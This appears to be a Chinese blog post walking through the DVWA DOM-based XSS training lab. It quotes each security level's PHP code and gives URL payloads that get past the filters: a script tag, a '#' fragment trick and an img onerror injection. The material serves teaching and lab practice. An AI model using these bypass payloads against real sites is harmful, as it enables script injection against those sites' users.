zoukankan      html  css  js  c++  java
  • XSS DOM 测试

    dvwa DOM XSS

    DOM Based XSS:是基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM节点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行,从效果上来说也是反射型XSS。

    漏洞测试

    low 级别

    可知Select按钮选择参数,数据提交是以GET请求的方式

    <?php
    
    # No protections, anything goes
    
    ?>

    low 级别不存在Protect,可以非常简单的造成XSS攻击

    构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

    当用户触发该URL时就会受到XSS攻击,有弹框出现

    medium 级别

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {
            header ("location: ?default=English");
            exit;
        }
    }
    
    ?> 

    经过代码审计之后可知:array_key_exists检查数组里是否有指定的键名或索引,并且default值不为null,传递的数据中如果存在<script>标签,则会进入if条件,default默认赋值为“English”

    stripos(string,find,start)  函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
    
    参数    描述
    string    必需。规定要搜索的字符串。
    find    必需。规定要查找的字符。
    start    可选。规定开始搜索的位置。
    
    相关函数:
    strpos()    - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
    strripos()  - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
    strrpos()   - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

    由于stripos函数的作用所以不能使用<script>标签,但是真的就不能使用该标签吗,答案是可以的,此处要利用到URL中的一个特殊字符‘#’,该字符后的数据不会发送到服务器端,从而绕过服务端过滤

    构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

    触发该URL,成功绕过服务端的过滤

    假如真的不能使用<script>标签,也有另一种方法进行绕过服务端的检测

    用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件

    构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_d/?default=</option></select><img src=# onerror=alert("xss")>

    触发该URL,成功绕过服务端的过滤

    high 级别

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    
    ?> 

    代码审计之后可知:在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

    成功绕过后端switch的限制

    impossible 级别

    Security level set to impossible

    <?php
    
    # Don't need to do anything, protction handled on the client side
    
    ?> 
  • 相关阅读:
    python定义函数的三种形式
    python函数的返回值
    python函数的调用
    python函数的定义
    python文件操作
    Python2和3字符编码的区别
    python的字符编码
    python异常处理
    python深浅拷贝
    python色彩缤纷的python(改变字体颜色以及样式)
  • 原文地址:https://www.cnblogs.com/qftm/p/10317164.html
Copyright © 2011-2022 走看看